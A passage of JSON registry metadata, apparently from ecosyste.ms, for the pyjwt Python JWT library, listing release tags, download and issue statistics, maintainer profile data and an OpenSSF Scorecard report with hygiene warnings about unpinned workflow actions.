ositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.517Z","dependent_packages_count":63,"downloads":21065380,"downloads_period":"total","dependent_repos_count":370,"rankings":{"downloads":null,"dependent_repos_count":1.5020709616248316,"dependent_packages_count":1.2026548230949647,"stargazers_count":5.159938120664704,"forks_count":6.487349668147113,"docker_downloads_count":null,"average":3.588003393382903},"purl":"pkg:conda/pyjwt?repository_url=https://conda-forge.org","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":true,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"conda-forge.org","url":"https://conda-forge.org","ecosystem":"conda","default":false,"packages_count":20636,"maintainers_count":0,"namespaces_count":0,"keywords_count":13549,"github":"conda-forge","metadata":{"kind":"conda-forge","key":"CondaForge","api":"https://conda.anaconda.org","funded_packages_count":2269},"icon_url":"https://github.com/conda-forge.png","created_at":"2022-10-03T15:37:08.743Z","updated_at":"2026-06-10T05:18:51.687Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/conda-forge.org/namespaces"}},{"id":12819097,"name":"python310Packages.pyjwt","ecosystem":"nixpkgs","description":"JSON Web Token implementation in Python","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-26T17:45:38.012Z","latest_release_published_at":"2026-01-26T17:45:38.012Z","latest_release_number":"2.6.0","last_synced_at":"2026-03-05T19:30:01.937Z","created_at":"2026-01-26T17:45:37.833Z","updated_at":"2026-05-29T04:00:36.265Z","registry_url":"https://search.nixos.org/packages?channel=23.05\u0026query=python310Packages.pyjwt","install_command":"nix-env -iA nixpkgs.python310Packages.pyjwt","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.05/pkgs/development/python-modules/pyjwt/default.nix#L51","metadata":{"nix_attribute":"python3.10-pyjwt-2.6.0","position":"pkgs/development/python-modules/pyjwt/default.nix:51","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mipsel-linux","mips64el-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","doc","out"],"upstream_ecosystem":"pypi","upstream_name":"pyjwt","upstream_purl":"pkg:pypi/pyjwt"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit",